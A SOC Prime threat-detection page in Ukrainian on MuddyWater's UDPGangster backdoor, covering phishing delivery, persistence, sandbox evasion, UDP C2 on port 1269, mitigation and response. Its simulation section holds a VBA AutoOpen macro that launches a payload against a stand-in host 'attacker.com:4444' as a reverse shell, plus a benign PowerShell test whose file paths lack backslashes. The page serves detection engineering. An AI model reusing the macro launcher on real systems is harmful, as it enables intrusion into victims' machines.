SOC Prime Bias: Критичний

08 Dec 2025 16:27

Атаки UDPGangster поширюються по кількох країнах

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
Атаки UDPGangster поширюються по кількох країнах
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

UDPGangster – це бекдор на основі UDP, який використовується групою загроз MuddyWater для віддаленого керування хостами Windows. Початкова компрометація відбувається через шкідливий документ Word, що використовує макроси VBA для популяризації і запуску корисного навантаження. Шкідливе програмне забезпечення здійснює масштабні перевірки, спрямовані на уникнення аналізу, і підтримує стійкість, копіюючи себе в директорію AppData користувача та створюючи ключ автозапуску. Останні кампанії спостерігалися з метою користувачів у Туреччині, Ізраїлі та Азербайджані.

Розслідування

FortiGuard Labs дослідили фішингові електронні листи, вбудований макрос VBA, випущений виконуваний файл і його техніки збереження. Вони витягли індикатори, такі як шляхи файлів, записи реєстру автозапуску, назви м’ютексів і пов’язану інфраструктуру C2. Кореляція IP-адрес, доменів і шляхів PDB дозволила аналітикам пов’язати цю активність з попередніми операціями MuddyWater.

Запобігання

Кроки з пом’якшення включають запровадження блокування макросів або надання повноцінного навчання користувачам, щоб запобігти виконанню макросів, а також розгортання засобів захисту на кінцевих точках, які стежать за підозрілими записами файлів у публічних або профільних папках користувачів, а також за модифікаціями ключів автозапуску реєстру. Мережеві команди повинні моніторити підозрілий UDP-трафік на порту 1269 і блокувати відомі шкідливі IP-адреси та домени, щоб порушити канали C2.

Відповідь

Коли виявлена активність UDPGangster, ізолюйте уражену кінцеву точку, зберіть несталеві дані пам’яті та повні образи дисків, і шукайте бекдор та пов’язані артефакти. Заблокуйте ідентифіковану інфраструктуру C2, проведіть всебічний кримінальний аналіз, щоб виявити будь-які додаткові скомпрометовані системи, та оновіть сигнатури безпеки для виявлення як шкідливих макросів-документів, так і бекдорівської загрози.

graph TB %% Визначення класів classDef action fill:#99ccff classDef malware fill:#ff6666 classDef process fill:#66ff66 %% Визначення вузлів action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг із вкладенням</b>: Лист із шкідливим Word-документом та ZIP-архівом.”] class action_phishing action action_macro[“<b>Дія</b> – <b>T1059.005 Інтерпретатор команд і скриптів (VBA)</b>: Макрос Document_Open декодує Base64-навантаження у файл C:\\Users\\Public\\ui.txt.”] class action_macro action action_vba_stomping[“<b>Дія</b> – <b>T1564.007 Приховування артефактів (VBA Stomping)</b>: Шкідливий бінарний код приховано в макросі та формується під час виконання.”] class action_vba_stomping action action_obfuscation[“<b>Дія</b> – <b>T1027.004 Компіляція після доставки</b>: Навантаження обфусковане за допомогою Base64 та технік компіляції.”] class action_obfuscation action action_persistence_copy[“<b>Дія</b> – <b>T1547.014 Автозапуск під час входу в систему</b>: Копіює бекдор у %AppData%\\RoamingLow\\SystemProc.exe.”] class action_persistence_copy action action_registry_persistence[“<b>Дія</b> – <b>T1547.014 Ключ автозапуску в реєстрі</b>: Створює запис HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell для автозапуску.”] class action_registry_persistence action action_anti_sandbox[“<b>Дія</b> – <b>T1497.002 Уникнення пісочниці/віртуалізації</b>: Перевіряє наявність дебагера, кількість ядер CPU, обсяг RAM, MAC-префікси, членство в домені, WMI-запити, ключі реєстру та відомі DLL пісочниць.”] class action_anti_sandbox action action_c2_udp[“<b>Дія</b> – <b>T1571 Нестандартний порт</b>: Обмін даними з C2 через UDP-порт 1269.”] class action_c2_udp action action_raw_udp[“<b>Дія</b> – <b>T1095 Протокол не прикладного рівня</b>: Використовує «сирі» UDP-пакети для трафіку.”] class action_raw_udp action action_data_encoding[“<b>Дія</b> – <b>T1132.002 Користувацьке кодування</b>: Системна інформація кодується методом циклічного зсуву вправо перед ексфільтрацією.”] class action_data_encoding action malware_backdoor[“<b>Шкідливе ПЗ</b>: Користувацький бекдор”] class malware_backdoor malware process_c2[“<b>Процес</b>: Віддалений C2-сервер”] class process_c2 process %% Зв’язки, що показують ланцюг атаки action_phishing –>|доставляє| action_macro action_macro –>|формує| action_vba_stomping action_vba_stomping –>|обфускує| action_obfuscation action_obfuscation –>|копіює в AppData| action_persistence_copy action_persistence_copy –>|створює ключ автозапуску| action_registry_persistence action_registry_persistence –>|активує| malware_backdoor action_vba_stomping –>|виконує| action_anti_sandbox action_anti_sandbox –>|якщо перевірку пройдено| action_c2_udp action_c2_udp –>|використовує| action_raw_udp action_raw_udp –>|надсилає закодовані дані| action_data_encoding action_data_encoding –>|до| process_c2 process_c2 –>|керує| malware_backdoor

Потік Атаки

Виконання Симуляції

Передумова: Перевірка на відповідність Телеметрії та Базових вимог повинна бути пройдена.

Чому: Цей розділ детально описує точне виконання техніки супротивників (TTP), створеної для запуску правила виявлення. Команди та опис ПОВИННІ безпосередньо відображати виявлені TTP і прагнути генерувати саме ту телеметрію, яку очікує логіка виявлення.

  • Опис Атаки та Команди:
    Атакуючий доставляє шкідливий документ Word, що містить макрос VBA. Макрос звертається до API Windows CreateProcessA щоб створити cmd.exe і виконати корисне навантаження UDPGangster (udp_gangster.exe). Корисне навантаження встановлює зворотний шелл на сервер C2 атакуючого. Оскільки макрос явно передає рядок ‘CreateProcessA’ і буквальне cmd.exe у командному рядку, то правило виявлення відповідатиме.

    1. Макрос VBA (спрощений) демонструє виклик API:

      Private Declare PtrSafe Function CreateProcessA Lib "kernel32" _
          (ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
           ByVal lpProcessAttributes As LongPtr, ByVal lpThreadAttributes As LongPtr, _
           ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
           ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, _
           ByRef lpStartupInfo As STARTUPINFO, ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
      
      Sub AutoOpen()
          Dim cmdLine As String
          cmdLine = "cmd.exe /c ""%TEMP%udp_gangster.exe -c attacker.com:4444"""
          Dim si As STARTUPINFO
          Dim pi As PROCESS_INFORMATION
          Call CreateProcessA(vbNullString, cmdLine, 0, 0, 1, &H00000010, 0, vbNullString, si, pi)
      End Sub
    2. Розгортайте макрос, відкрийте документ та дозвольте виконання макроса. Подія створення процесу міститиме:

      CommandLine: cmd.exe /c "%TEMP%udp_gangster.exe -c attacker.com:4444"
  • Сценарій регресійного тестування: Наведений нижче PowerShell-скрипт відтворює точну телеметрію без необхідності в документі Word. Він звертається до нативного API Win32 CreateProcessA через Add-Type.

    # Регресійний тест: прямий виклик CreateProcessA з cmd.exe
    $source = @"
    using System;
    using System.Runtime.InteropServices;
    
    public class NativeMethods {
        [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Ansi)]
        public struct STARTUPINFO {
            public int cb;
            public string lpReserved;
            public string lpDesktop;
            public string lpTitle;
            public uint dwX;
            public uint dwY;
            public uint dwXSize;
            public uint dwYSize;
            public uint dwXCountChars;
            public uint dwYCountChars;
            public uint dwFillAttribute;
            public uint dwFlags;
            public short wShowWindow;
            public short cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
    
        [StructLayout(LayoutKind.Sequential)]
        public struct PROCESS_INFORMATION {
            public IntPtr hProcess;
            public IntPtr hThread;
            public uint dwProcessId;
            public uint dwThreadId;
        }
    
        [DllImport("kernel32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
        public static extern bool CreateProcessA(
            string lpApplicationName,
            string lpCommandLine,
            IntPtr lpProcessAttributes,
            IntPtr lpThreadAttributes,
            bool bInheritHandles,
            uint dwCreationFlags,
            IntPtr lpEnvironment,
            string lpCurrentDirectory,
            ref STARTUPINFO lpStartupInfo,
            out PROCESS_INFORMATION lpProcessInformation);
    }
    "@
    
    Add-Type $source
    
    $si = New-Object NativeMethods+STARTUPINFO
    $si.cb = [Runtime.InteropServices.Marshal]::SizeOf([NativeMethods+STARTUPINFO])
    $pi = New-Object NativeMethods+PROCESS_INFORMATION
    
    $cmd = 'cmd.exe /c "echo UDPGangster simulation > $env:TEMPudp_gangster.log"'
    
    $result = [NativeMethods]::CreateProcessA($null, $cmd, [IntPtr]::Zero, [IntPtr]::Zero, $true, 0x00000010, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
    
    if (-not $result) {
        Write-Error "CreateProcessA failed: $([Runtime.InteropServices.Marshal]::GetLastWin32Error())"
    } else {
        Write-Host "CreateProcessA succeeded, command line logged."
    }
  • Команди очищення: Видалити артефакт, створений під час симуляції.

    # Видалити тимчасовий журнал, створений симуляцією
    Remove-Item -Path "$env:TEMPudp_gangster.log" -ErrorAction SilentlyContinue